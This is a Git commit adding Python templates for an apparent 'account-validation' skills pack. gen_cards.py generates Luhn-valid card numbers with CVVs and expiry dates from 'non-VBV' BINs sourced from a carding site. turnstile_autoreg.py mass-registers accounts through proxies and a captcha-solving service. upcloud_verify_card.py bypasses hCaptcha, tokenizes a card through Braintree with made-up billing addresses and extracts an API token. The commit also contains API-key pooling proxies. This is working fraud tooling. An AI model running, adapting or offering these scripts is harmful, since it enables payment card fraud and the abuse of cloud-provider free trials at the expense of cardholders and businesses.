autoreg-skills-max: initial public release (restored, redacted, hardened)
This commit is contained in:
53
skills/account-validation/templates/gen_cards.py
Normal file
53
skills/account-validation/templates/gen_cards.py
Normal file
@@ -0,0 +1,53 @@
|
||||
# Card Generator — Luhn-valid CC numbers from BIN prefixes
|
||||
# Usage: python gen_cards.py [BIN] [count]
|
||||
# Example: python gen_cards.py 414709 5
|
||||
|
||||
import random
|
||||
import sys
|
||||
|
||||
def luhn_checksum(card_number):
|
||||
digits = [int(d) for d in card_number]
|
||||
for i in range(len(digits) - 1, -1, -2):
|
||||
digits[i] *= 2
|
||||
if digits[i] > 9:
|
||||
digits[i] -= 9
|
||||
return (10 - sum(digits) % 10) % 10
|
||||
|
||||
def generate_card(bin_prefix, length=16):
|
||||
prefix = str(bin_prefix)
|
||||
remaining = length - len(prefix) - 1
|
||||
body = prefix + ''.join(str(random.randint(0, 9)) for _ in range(remaining))
|
||||
return body + str(luhn_checksum(body + '0'))
|
||||
|
||||
# Top non-VBV BINs (August 2026, cardingsecrets.is)
|
||||
TOP_BINS = [
|
||||
'414709', # Capital One Signature
|
||||
'478455', # Citi Gold
|
||||
'435237', # Chase Platinum
|
||||
'421760', # Its Bank Infinite Debit
|
||||
'465007', # Amegy Bank Infinite Debit
|
||||
'44766443', # Mbna America Infinite Debit
|
||||
'51636298', # Westpac World MC
|
||||
'40383216', # Bc Card Signature MC
|
||||
'550149', # Fia Card Services Gold (best for crypto)
|
||||
'44766476', # Mbna America Infinite Debit (best for altcoin/fashion)
|
||||
]
|
||||
|
||||
def main():
|
||||
if len(sys.argv) >= 2:
|
||||
bins = [sys.argv[1]]
|
||||
else:
|
||||
bins = TOP_BINS
|
||||
|
||||
count = int(sys.argv[2]) if len(sys.argv) >= 3 else 3
|
||||
|
||||
for b in bins:
|
||||
for _ in range(count):
|
||||
card = generate_card(b, 16)
|
||||
month = random.randint(9, 12) # Future months only
|
||||
year = 2026
|
||||
cvv = random.randint(100, 999)
|
||||
print(f"{card}|{month:02d}|{year}|{cvv}")
|
||||
|
||||
if __name__ == '__main__':
|
||||
main()
|
||||
141
skills/account-validation/templates/local-llm-proxy.py
Normal file
141
skills/account-validation/templates/local-llm-proxy.py
Normal file
@@ -0,0 +1,141 @@
|
||||
"""
|
||||
OpenAI-compatible proxy on localhost:8080
|
||||
Backend: dashscope deepseek-v4-pro (HERMES_DASHSCOPE_API_KEY)
|
||||
Auth: Bearer token check
|
||||
|
||||
Usage:
|
||||
python proxy_handler.py
|
||||
|
||||
Endpoints:
|
||||
GET /v1/models — list available models
|
||||
POST /v1/chat/completions — forward to dashscope (streaming supported)
|
||||
GET /health — health check (no auth needed)
|
||||
"""
|
||||
import json, sys, os, time, uuid, ssl
|
||||
from pathlib import Path
|
||||
from http.server import HTTPServer, BaseHTTPRequestHandler
|
||||
import urllib.request, urllib.error
|
||||
|
||||
PORT = 8080
|
||||
TOKEN = [REDACTED]"PROXY_TOKEN", "your-token-here")
|
||||
BACKENDS = [
|
||||
{
|
||||
"url": "https://dashscope.aliyuncs.com/compatible-mode/v1/chat/completions",
|
||||
"key": os.environ.get("HERMES_DASHSCOPE_API_KEY", ""),
|
||||
"model": "deepseek-v4-pro"
|
||||
},
|
||||
{
|
||||
"url": "https://api.openai.com/v1/chat/completions",
|
||||
"key": os.environ.get("OPENAI_API_KEY", ""),
|
||||
"model": "gpt-4o"
|
||||
}
|
||||
]
|
||||
|
||||
class ProxyHandler(BaseHTTPRequestHandler):
|
||||
def do_GET(self): self.proxy()
|
||||
def do_POST(self): self.proxy()
|
||||
def do_OPTIONS(self):
|
||||
self.send_response(200)
|
||||
self.send_header('Access-Control-Allow-Origin', '*')
|
||||
self.send_header('Access-Control-Allow-Methods', 'GET,POST,OPTIONS')
|
||||
self.send_header('Access-Control-Allow-Headers', '*')
|
||||
self.end_headers()
|
||||
|
||||
def proxy(self):
|
||||
auth = self.headers.get('Authorization', '')
|
||||
if auth != f'Bearer {TOKEN}':
|
||||
self.send_response(401); self.end_headers()
|
||||
self.wfile.write(b'{"error":"Unauthorized"}'); return
|
||||
|
||||
path = self.path
|
||||
|
||||
if path == '/v1/models':
|
||||
self.send_response(200)
|
||||
self.send_header('Content-Type', 'application/json')
|
||||
self.send_header('Access-Control-Allow-Origin', '*')
|
||||
self.end_headers()
|
||||
self.wfile.write(json.dumps({
|
||||
"object": "list",
|
||||
"data": [{"id": b['model'], "object": "model", "owned_by": "proxy"}
|
||||
for b in BACKENDS if b['key']]
|
||||
}).encode())
|
||||
return
|
||||
|
||||
if path == '/v1/chat/completions':
|
||||
self.handle_chat(); return
|
||||
|
||||
if path == '/health':
|
||||
self.send_response(200); self.end_headers()
|
||||
self.wfile.write(b'{"status":"ok"}'); return
|
||||
|
||||
self.send_response(404); self.end_headers()
|
||||
self.wfile.write(b'{"error":"Not found"}')
|
||||
|
||||
def handle_chat(self):
|
||||
cl = int(self.headers.get('Content-Length', 0))
|
||||
body = json.loads(self.rfile.read(cl))
|
||||
stream = body.get('stream', False)
|
||||
|
||||
# Find first working backend
|
||||
backend = None
|
||||
for b in BACKENDS:
|
||||
if b['key']:
|
||||
backend = b; break
|
||||
|
||||
if not backend:
|
||||
self.send_response(502); self.end_headers()
|
||||
self.wfile.write(b'{"error":"No backend configured"}'); return
|
||||
|
||||
data = {
|
||||
"model": backend['model'],
|
||||
"messages": body.get('messages', []),
|
||||
"stream": stream,
|
||||
"temperature": body.get('temperature', 0.7),
|
||||
"max_tokens": body.get('max_tokens', 4096)
|
||||
}
|
||||
|
||||
try:
|
||||
ctx = ssl.create_default_context()
|
||||
req = urllib.request.Request(
|
||||
backend['url'],
|
||||
data=json.dumps(data).encode(),
|
||||
method='POST'
|
||||
)
|
||||
req.add_header('Content-Type', 'application/json')
|
||||
req.add_header('Authorization', f'Bearer {backend["key"]}')
|
||||
|
||||
if stream:
|
||||
self.send_response(200)
|
||||
self.send_header('Content-Type', 'text/event-stream')
|
||||
self.send_header('Cache-Control', 'no-cache')
|
||||
self.send_header('Access-Control-Allow-Origin', '*')
|
||||
self.end_headers()
|
||||
resp = urllib.request.urlopen(req, timeout=120, context=ctx)
|
||||
for line_bytes in resp:
|
||||
self.wfile.write(line_bytes); self.wfile.flush()
|
||||
else:
|
||||
resp = urllib.request.urlopen(req, timeout=120, context=ctx)
|
||||
rb = resp.read()
|
||||
self.send_response(resp.status)
|
||||
self.send_header('Content-Type', 'application/json')
|
||||
self.send_header('Access-Control-Allow-Origin', '*')
|
||||
self.end_headers()
|
||||
self.wfile.write(rb)
|
||||
except urllib.error.HTTPError as e:
|
||||
self.send_response(e.code)
|
||||
self.send_header('Content-Type', 'application/json')
|
||||
self.send_header('Access-Control-Allow-Origin', '*')
|
||||
self.end_headers()
|
||||
self.wfile.write(e.read())
|
||||
except Exception as e:
|
||||
self.send_response(500); self.end_headers()
|
||||
self.wfile.write(json.dumps({"error": str(e)}).encode())
|
||||
|
||||
def start_proxy():
|
||||
print(f"\n[PROXY] http://127.0.0.1:{PORT}")
|
||||
print(f"[PROXY] Auth: Bearer {TOKEN[:10]}...")
|
||||
print(f"[PROXY] Backends: {[b['model'] for b in BACKENDS if b['key']]}")
|
||||
HTTPServer(('0.0.0.0', PORT), ProxyHandler).serve_forever()
|
||||
|
||||
if __name__ == '__main__':
|
||||
start_proxy()
|
||||
180
skills/account-validation/templates/openai_key_pool_proxy.py
Normal file
180
skills/account-validation/templates/openai_key_pool_proxy.py
Normal file
@@ -0,0 +1,180 @@
|
||||
#!/usr/bin/env python3
|
||||
"""OpenAI-compatible key-pool proxy template.
|
||||
|
||||
Use this only with legitimate upstream API keys supplied by the user, e.g.
|
||||
OPENAI_KEYS=sk-proj-xxx,sk-proj-yyy. Do not adapt it to ChatGPT web
|
||||
session tokens, Auth0 access tokens, cookies, or bulk signup/token pooling.
|
||||
|
||||
Run:
|
||||
OPENAI_KEYS=sk-proj-xxx PROXY_AUTH_TOKEN=local-token python openai_key_pool_proxy.py
|
||||
|
||||
Test:
|
||||
curl http://127.0.0.1:8091/health
|
||||
curl http://127.0.0.1:8091/v1/models -H 'Authorization: Bearer local-token'
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import json
|
||||
import os
|
||||
import threading
|
||||
import time
|
||||
import urllib.error
|
||||
import urllib.request
|
||||
from dataclasses import dataclass, field
|
||||
from http.server import BaseHTTPRequestHandler, ThreadingHTTPServer
|
||||
from typing import Any
|
||||
|
||||
UPSTREAM_BASE = os.getenv("UPSTREAM_BASE", "https://api.openai.com").rstrip("/")
|
||||
PROXY_AUTH_TOKEN = os.getenv("PROXY_AUTH_TOKEN", "local-token")
|
||||
|
||||
|
||||
def redact(key: str) -> str:
|
||||
return key[:7] + "..." + key[-4:] if len(key) > 12 else key[:4] + "..."
|
||||
|
||||
|
||||
@dataclass
|
||||
class KeyState:
|
||||
key: str
|
||||
name: str
|
||||
enabled: bool = True
|
||||
last_status: int | None = None
|
||||
last_error: str | None = None
|
||||
ok_count: int = 0
|
||||
fail_count: int = 0
|
||||
last_used: float | None = None
|
||||
disabled_reason: str | None = None
|
||||
|
||||
def public(self) -> dict[str, Any]:
|
||||
return {
|
||||
"name": self.name,
|
||||
"key": redact(self.key),
|
||||
"enabled": self.enabled,
|
||||
"last_status": self.last_status,
|
||||
"last_error": self.last_error,
|
||||
"ok_count": self.ok_count,
|
||||
"fail_count": self.fail_count,
|
||||
"last_used": self.last_used,
|
||||
"disabled_reason": self.disabled_reason,
|
||||
}
|
||||
|
||||
|
||||
@dataclass
|
||||
class Pool:
|
||||
keys: list[KeyState]
|
||||
cursor: int = 0
|
||||
lock: threading.Lock = field(default_factory=threading.Lock)
|
||||
|
||||
def choose(self) -> KeyState | None:
|
||||
with self.lock:
|
||||
live = [k for k in self.keys if k.enabled]
|
||||
if not live:
|
||||
return None
|
||||
item = live[self.cursor % len(live)]
|
||||
self.cursor += 1
|
||||
item.last_used = time.time()
|
||||
return item
|
||||
|
||||
def mark(self, item: KeyState, status: int, body: bytes) -> None:
|
||||
text = body[:1200].decode("utf-8", errors="ignore")
|
||||
with self.lock:
|
||||
item.last_status = status
|
||||
item.last_error = None if 200 <= status < 300 else text
|
||||
if 200 <= status < 300:
|
||||
item.ok_count += 1
|
||||
return
|
||||
item.fail_count += 1
|
||||
if status in (401, 403):
|
||||
item.enabled = False
|
||||
item.disabled_reason = f"HTTP {status}"
|
||||
elif status == 429 and "billing_not_active" in text:
|
||||
item.enabled = False
|
||||
item.disabled_reason = "billing_not_active"
|
||||
|
||||
def public(self) -> dict[str, Any]:
|
||||
with self.lock:
|
||||
return {"total": len(self.keys), "enabled": sum(k.enabled for k in self.keys), "keys": [k.public() for k in self.keys]}
|
||||
|
||||
|
||||
def load_keys() -> Pool:
|
||||
raw = os.getenv("OPENAI_KEYS", "").replace("\n", ",")
|
||||
seen: set[str] = set()
|
||||
items: list[KeyState] = []
|
||||
for idx, key in enumerate([x.strip() for x in raw.split(",") if x.strip()], 1):
|
||||
if key in seen:
|
||||
continue
|
||||
seen.add(key)
|
||||
items.append(KeyState(key=key, name=f"key{idx}"))
|
||||
return Pool(items)
|
||||
|
||||
|
||||
POOL = load_keys()
|
||||
|
||||
|
||||
class Handler(BaseHTTPRequestHandler):
|
||||
def _json(self, status: int, obj: Any) -> None:
|
||||
body = json.dumps(obj, ensure_ascii=False, indent=2).encode()
|
||||
self.send_response(status)
|
||||
self.send_header("Content-Type", "application/json")
|
||||
self.send_header("Content-Length", str(len(body)))
|
||||
self.end_headers()
|
||||
self.wfile.write(body)
|
||||
|
||||
def _authorized(self) -> bool:
|
||||
return not PROXY_AUTH_TOKEN or self.headers.get("Authorization") == f"Bearer {PROXY_AUTH_TOKEN}"
|
||||
|
||||
def _body(self) -> bytes:
|
||||
return self.rfile.read(int(self.headers.get("Content-Length") or 0))
|
||||
|
||||
def do_GET(self) -> None: # noqa: N802
|
||||
if self.path in ("/", "/health"):
|
||||
return self._json(200, {"ok": True, "upstream": UPSTREAM_BASE, "pool": POOL.public()})
|
||||
return self._proxy()
|
||||
|
||||
def do_POST(self) -> None: # noqa: N802
|
||||
return self._proxy()
|
||||
|
||||
def _proxy(self) -> None:
|
||||
if not self.path.startswith("/v1/"):
|
||||
return self._json(404, {"error": "only /v1/* is proxied"})
|
||||
if not self._authorized():
|
||||
return self._json(401, {"error": "proxy auth required"})
|
||||
body = self._body()
|
||||
attempts = max(1, min(3, len([k for k in POOL.keys if k.enabled]) or 1))
|
||||
last_status, last_body, last_headers = 503, b'{"error":"no usable key"}', {"Content-Type": "application/json"}
|
||||
for _ in range(attempts):
|
||||
item = POOL.choose()
|
||||
if not item:
|
||||
break
|
||||
status, resp_body, resp_headers = call_upstream(self.command, self.path, self.headers, body, item.key)
|
||||
POOL.mark(item, status, resp_body)
|
||||
last_status, last_body, last_headers = status, resp_body, resp_headers
|
||||
if status < 400 or status in (400, 404, 422):
|
||||
break
|
||||
if status not in (401, 403, 429, 500, 502, 503, 504):
|
||||
break
|
||||
self.send_response(last_status)
|
||||
self.send_header("Content-Type", last_headers.get("Content-Type", "application/json"))
|
||||
self.send_header("Content-Length", str(len(last_body)))
|
||||
self.end_headers()
|
||||
self.wfile.write(last_body)
|
||||
|
||||
|
||||
def call_upstream(method: str, path: str, incoming_headers: Any, body: bytes, upstream_key: str) -> tuple[int, bytes, dict[str, str]]:
|
||||
headers = {k: v for k, v in incoming_headers.items() if k.lower() not in {"host", "authorization", "content-length", "connection"}}
|
||||
headers["Authorization"] = f"Bearer {upstream_key}"
|
||||
if body and "Content-Type" not in headers:
|
||||
headers["Content-Type"] = "application/json"
|
||||
req = urllib.request.Request(UPSTREAM_BASE + path, data=body if method != "GET" else None, headers=headers, method=method)
|
||||
try:
|
||||
with urllib.request.urlopen(req, timeout=120) as resp:
|
||||
return resp.status, resp.read(), dict(resp.headers.items())
|
||||
except urllib.error.HTTPError as e:
|
||||
return e.code, e.read(), dict(e.headers.items())
|
||||
except Exception as e:
|
||||
return 502, json.dumps({"error": str(e)}, ensure_ascii=False).encode(), {"Content-Type": "application/json"}
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
print(f"proxy=http://127.0.0.1:8091 upstream={UPSTREAM_BASE} keys={len(POOL.keys)}")
|
||||
ThreadingHTTPServer(("127.0.0.1", 8091), Handler).serve_forever()
|
||||
119
skills/account-validation/templates/turnstile_autoreg.py
Normal file
119
skills/account-validation/templates/turnstile_autoreg.py
Normal file
@@ -0,0 +1,119 @@
|
||||
#!/usr/bin/env python3
|
||||
"""
|
||||
Turnstile Auto-Reg Template (Anti-Captcha + Residential Proxy)
|
||||
python turnstile_autoreg.py <count> <proxy_file>
|
||||
"""
|
||||
|
||||
import requests, json, time, random, string, sys, os
|
||||
from datetime import datetime
|
||||
|
||||
# ===== CONFIG =====
|
||||
SITE_URL = "https://TARGET.com"
|
||||
SITEKEY = "0x4AAAAA..."
|
||||
REGISTER_URL = "https://TARGET.com/api/register"
|
||||
CAPTCHA_KEY = "YOUR_ANTI_CAPTCHA_KEY"
|
||||
ALLOWED_DOMAINS = ["@gmail.com", "@outlook.com"]
|
||||
|
||||
DIR = os.path.dirname(os.path.abspath(__file__))
|
||||
OUTPUT_FILE = os.path.join(DIR, "accounts.txt")
|
||||
|
||||
def load_proxies(path):
|
||||
proxies = []
|
||||
with open(path) as f:
|
||||
for line in f:
|
||||
parts = line.strip().split(":")
|
||||
if len(parts) == 4:
|
||||
host, port, user, pwd = parts
|
||||
proxies.append(f"http://{user}:{pwd}@{host}:{port}")
|
||||
return proxies
|
||||
|
||||
def solve_captcha(proxy_host, proxy_port, proxy_user="", proxy_pwd=""):
|
||||
task = {
|
||||
"type": "TurnstileTask",
|
||||
"websiteURL": SITE_URL + "/register",
|
||||
"websiteKey": SITEKEY,
|
||||
"proxyType": "http",
|
||||
"proxyAddress": proxy_host,
|
||||
"proxyPort": int(proxy_port),
|
||||
}
|
||||
if proxy_user:
|
||||
task["proxyLogin"] = proxy_user
|
||||
task["proxyPassword"] = proxy_pwd
|
||||
|
||||
r = requests.post("https://api.anti-captcha.com/createTask", json={
|
||||
"clientKey": CAPTCHA_KEY, "task": task
|
||||
}, timeout=15)
|
||||
if r.json().get("errorId") != 0:
|
||||
return None
|
||||
tid = r.json()["taskId"]
|
||||
|
||||
for _ in range(30):
|
||||
time.sleep(2)
|
||||
r = requests.post("https://api.anti-captcha.com/getTaskResult", json={
|
||||
"clientKey": CAPTCHA_KEY, "taskId": tid
|
||||
}, timeout=15)
|
||||
d = r.json()
|
||||
if d.get("status") == "ready":
|
||||
return d["solution"]["token"]
|
||||
if d.get("errorId") != 0:
|
||||
return None
|
||||
return None
|
||||
|
||||
def register(email, password, token, proxy_url):
|
||||
px = {"http": proxy_url, "https": proxy_url}
|
||||
r = requests.post(REGISTER_URL, json={
|
||||
"email": email, "password": password, "cf-turnstile-response": token, "agree": True
|
||||
}, headers={
|
||||
"Content-Type": "application/json", "Accept": "application/json",
|
||||
"Origin": SITE_URL, "Referer": SITE_URL + "/register",
|
||||
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"
|
||||
}, proxies=px, timeout=30)
|
||||
return r.status_code in (200, 201), r.json()
|
||||
|
||||
def gen_email(i): return f"user{i}{random.randint(10000,99999)}{random.choice(ALLOWED_DOMAINS)}"
|
||||
def gen_pwd(): return ''.join(random.choices(string.ascii_letters + string.digits + "!@#$%^&*", k=12))
|
||||
def log(msg, lvl="INFO"): print(f"[{datetime.now():%H:%M:%S}] [{lvl}] {msg}", flush=True)
|
||||
|
||||
def main():
|
||||
count = int(sys.argv[1]) if len(sys.argv) > 1 else 1
|
||||
proxy_file = sys.argv[2] if len(sys.argv) > 2 else "proxies.txt"
|
||||
|
||||
proxies = load_proxies(proxy_file)
|
||||
log(f"Loaded {len(proxies)} proxies, target: {count}")
|
||||
|
||||
stats = {"ok": 0, "fail": 0}
|
||||
for i in range(1, count + 1):
|
||||
log(f"[{i}/{count}]")
|
||||
proxy_url = random.choice(proxies)
|
||||
# Extract host:port from proxy URL
|
||||
parts = proxy_url.replace("http://", "").split("@")
|
||||
auth = parts[0] if len(parts) > 1 else ""
|
||||
host_port = parts[-1]
|
||||
host, port = host_port.split(":")
|
||||
user, pwd = [REDACTED]":") + ["", ""])[:2] if auth else ("", "")
|
||||
|
||||
email = gen_email(i)
|
||||
pwd_str = gen_pwd()
|
||||
log(f" {email}")
|
||||
|
||||
token = [REDACTED], port, user, pwd)
|
||||
if not token:
|
||||
[REDACTED]"fail"] += 1
|
||||
continue
|
||||
|
||||
ok, resp = register(email, pwd_str, token, proxy_url)
|
||||
if ok:
|
||||
log(f" + REGISTERED", "SUCCESS")
|
||||
with open(OUTPUT_FILE, "a") as f:
|
||||
f.write(f"{email}:{pwd_str}\n")
|
||||
stats["ok"] += 1
|
||||
else:
|
||||
stats["fail"] += 1
|
||||
|
||||
if i < count:
|
||||
time.sleep(random.uniform(1.5, 3.5))
|
||||
|
||||
log(f"=== DONE: {stats['ok']}/{count} ===")
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
208
skills/account-validation/templates/upcloud_verify_card.py
Normal file
208
skills/account-validation/templates/upcloud_verify_card.py
Normal file
@@ -0,0 +1,208 @@
|
||||
#!/usr/bin/env python3
|
||||
"""
|
||||
UpCloud card verification via API — password login + Braintree tokenize + verify.
|
||||
This is the working pipeline for verifying a card on an existing UpCloud account.
|
||||
|
||||
Usage:
|
||||
python upcloud_verify_card.py
|
||||
|
||||
Prerequisites:
|
||||
- Anti-captcha API key with balance
|
||||
- UpCloud account already registered (username + password)
|
||||
- Email IMAP credentials for OTP fallback
|
||||
- Card details (number, exp month/year, CVV)
|
||||
|
||||
Flow:
|
||||
1. Solve hCaptcha (login sitekey)
|
||||
2. Password login via /v2/session
|
||||
3. Get Braintree client token
|
||||
4. Tokenize card via Braintree GraphQL
|
||||
5. Verify card via /v2/account/main/verify (tries EUR/DE first, then USD/US)
|
||||
6. On success: extract API token, try server creation
|
||||
|
||||
If card is UA-BIN, Braintree will reject with 422 VERIFICATION_ERROR before 3DS.
|
||||
"""
|
||||
import requests, json, time, base64, re
|
||||
|
||||
GATE = 'https://gate.upcloud.com'
|
||||
HUB = 'https://hub.upcloud.com'
|
||||
AC_KEY = 'YOUR_ANTICAPTCHA_KEY'
|
||||
|
||||
# === CONFIG ===
|
||||
USERNAME = 'upXXXXXXXX'
|
||||
PASSWORD = 'your_password'
|
||||
EMAIL = '[REDACTED-EMAIL]'
|
||||
EMAIL_PASS = 'your_email_password'
|
||||
CARD = '0000000000000000'
|
||||
EXP_M = 'MM'
|
||||
EXP_Y = 'YYYY'
|
||||
CVV = 'NNN'
|
||||
IMAP_HOST = 'secureimap.t-online.de'
|
||||
IMAP_PORT = 993
|
||||
UA = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
|
||||
SITEKEY = '13b63774-5d8c-4b1a-9cfc-8bae5b1abca0'
|
||||
|
||||
def solve_captcha():
|
||||
r = requests.post('https://api.anti-captcha.com/createTask', json={
|
||||
'clientKey': AC_KEY,
|
||||
'task': {'type': 'HCaptchaTaskProxyless', 'websiteURL': HUB,
|
||||
'websiteKey': SITEKEY,
|
||||
'isInvisible': True, 'isEnterprise': True}
|
||||
}, timeout=30)
|
||||
d = r.json()
|
||||
tid = d.get('taskId')
|
||||
if not tid:
|
||||
return None
|
||||
for i in range(80):
|
||||
time.sleep(2)
|
||||
r = requests.post('https://api.anti-captcha.com/getTaskResult',
|
||||
json={'clientKey': AC_KEY, 'taskId': tid}, timeout=15)
|
||||
d = r.json()
|
||||
if d.get('status') == 'ready':
|
||||
return d['solution']['gRecaptchaResponse']
|
||||
if d.get('errorId'):
|
||||
return None
|
||||
return None
|
||||
|
||||
def get_otp(timeout=120):
|
||||
import imaplib, email as emaillib
|
||||
t0 = time.time()
|
||||
while time.time() - t0 < timeout:
|
||||
try:
|
||||
m = imaplib.IMAP4_SSL(IMAP_HOST, IMAP_PORT)
|
||||
m.login(EMAIL, EMAIL_PASS)
|
||||
m.select('INBOX')
|
||||
_, data = m.search(None, '(FROM "upcloud" UNSEEN)')
|
||||
ids = data[0].split()
|
||||
if ids:
|
||||
_, msg_data = m.fetch(ids[-1], '(RFC822)')
|
||||
msg = emaillib.message_from_bytes(msg_data[0][1])
|
||||
body = ''
|
||||
if msg.is_multipart():
|
||||
for part in msg.walk():
|
||||
ct = part.get_content_type()
|
||||
if ct in ('text/plain', 'text/html'):
|
||||
body = part.get_payload(decode=True).decode(errors='replace')
|
||||
break
|
||||
else:
|
||||
body = msg.get_payload(decode=True).decode(errors='replace')
|
||||
match = re.search(r'\*([A-Z0-9]{4,10})\*', body)
|
||||
if match:
|
||||
m.logout()
|
||||
return match.group(1)
|
||||
match = re.search(r'\b(\d{6})\b', body)
|
||||
if match:
|
||||
m.logout()
|
||||
return match.group(1)
|
||||
m.logout()
|
||||
except:
|
||||
pass
|
||||
time.sleep(5)
|
||||
return None
|
||||
|
||||
def main():
|
||||
s = requests.Session()
|
||||
s.headers.update({
|
||||
'User-Agent': UA,
|
||||
'Origin': 'https://hub.upcloud.com',
|
||||
'Referer': 'https://hub.upcloud.com/',
|
||||
'Content-Type': 'application/json'
|
||||
})
|
||||
|
||||
# 1. Password login
|
||||
print('[1] Password login...')
|
||||
t1 = solve_captcha()
|
||||
if not t1:
|
||||
return False
|
||||
r = s.post(f'{GATE}/v2/session', json={
|
||||
'captcha_token': t1, 'username': USERNAME,
|
||||
'password': PASSWORD, 'token': True
|
||||
}, timeout=15)
|
||||
print(f' Login: {r.status_code}')
|
||||
if r.status_code == 422:
|
||||
print(' Captcha rejected, retry...')
|
||||
t1 = solve_captcha()
|
||||
if not t1:
|
||||
return False
|
||||
r = s.post(f'{GATE}/v2/session', json={
|
||||
'captcha_token': t1, 'username': USERNAME,
|
||||
'password': PASSWORD, 'token': True
|
||||
}, timeout=15)
|
||||
print(f' Login retry: {r.status_code}')
|
||||
if r.status_code != 200:
|
||||
print(f' {r.text[:200]}')
|
||||
return False
|
||||
|
||||
# Token is in cookies, not JSON
|
||||
auth_token = [REDACTED]'auth-token', '')
|
||||
if auth_token:
|
||||
[REDACTED]'Authorization': f'Bearer {auth_token}'})
|
||||
|
||||
r = s.get(f'{GATE}/v2/account', timeout=15)
|
||||
print(f' Account: {r.status_code}')
|
||||
if r.status_code != 200:
|
||||
return False
|
||||
acct = r.json().get('account', {})
|
||||
print(f' active={acct.get("active")} credits={acct.get("credits")}')
|
||||
|
||||
# 2. Braintree
|
||||
print('[2] Braintree...')
|
||||
r = s.get(f'{GATE}/v2/braintree/client_token/EUR', timeout=15)
|
||||
if r.status_code != 200:
|
||||
r = s.get(f'{GATE}/v2/braintree/client_token/USD', timeout=15)
|
||||
if r.status_code != 200:
|
||||
print(f' FAIL: {r.text[:200]}')
|
||||
return False
|
||||
dec = json.loads(base64.b64decode(r.json()['client_token']).decode())
|
||||
afp = dec['authorizationFingerprint']
|
||||
gql = dec['graphQL']['url']
|
||||
|
||||
# 3. Tokenize
|
||||
print('[3] Tokenize card...')
|
||||
mut = 'mutation T($input: TokenizeCreditCardInput!){tokenizeCreditCard(input:$input){token}}'
|
||||
r = requests.post(gql, json={"query": mut, "variables": {
|
||||
"input": {"creditCard": {"number": CARD, "expirationMonth": EXP_M,
|
||||
"expirationYear": EXP_Y, "cvv": CVV},
|
||||
"options": {"validate": False}}
|
||||
}}, headers={"Authorization": f"Bearer {afp}",
|
||||
"Content-Type": "application/json",
|
||||
"Braintree-Version": "2023-08-01"}, timeout=30)
|
||||
resp = r.json()
|
||||
if 'errors' in resp:
|
||||
print(f' ERR: {resp["errors"]}')
|
||||
return False
|
||||
nonce = resp["data"]["tokenizeCreditCard"]["token"]
|
||||
print(f' Nonce: {nonce}')
|
||||
|
||||
# 4. Verify (rate limit: wait 10s between attempts, max 2-3)
|
||||
print('[4] Verify card...')
|
||||
for curr, country, city, addr, postal, state in [
|
||||
('EUR', 'DEU', 'Berlin', 'Hauptstrasse 22', '10115', ''),
|
||||
('USD', 'USA', 'New York', '350 Fifth Avenue', '10118', 'NY'),
|
||||
]:
|
||||
time.sleep(10)
|
||||
print(f' {curr}/{country}...')
|
||||
v = {"account": {"address": addr, "city": city, "country": country,
|
||||
"first_name": "signup", "last_name": "user",
|
||||
"payment_method_nonce": nonce, "postal_code": postal,
|
||||
"company": "", "currency": curr,
|
||||
"device_data": json.dumps({"correlation_id": str(int(time.time()))}),
|
||||
"state": state, "vat_number": ""}}
|
||||
r = s.post(f'{GATE}/v2/account/main/verify', json=v, timeout=30)
|
||||
print(f' {r.status_code} {r.text[:400]}')
|
||||
if r.status_code in [200, 201]:
|
||||
print('\n=== VERIFIED! ===')
|
||||
r = s.get(f'{GATE}/v2/account', timeout=15)
|
||||
a = r.json().get('account', {})
|
||||
print(f' active={a.get("active")} trial_started={a.get("trial_started")}')
|
||||
r = s.post(f'{GATE}/v2/account/tokens', json={
|
||||
"name": "eni-prod", "expires_at": "2027-09-01T00:00:00.00001Z"
|
||||
}, timeout=15)
|
||||
tok = r.json().get('token', {}).get('token', '') if r.status_code == 201 else ''
|
||||
print(f' API token: {tok}')
|
||||
return True
|
||||
print('\n[FAIL] Card rejected or rate limited')
|
||||
return False
|
||||
|
||||
if __name__ == '__main__':
|
||||
main()
|
||||
Reference in New Issue
Block a user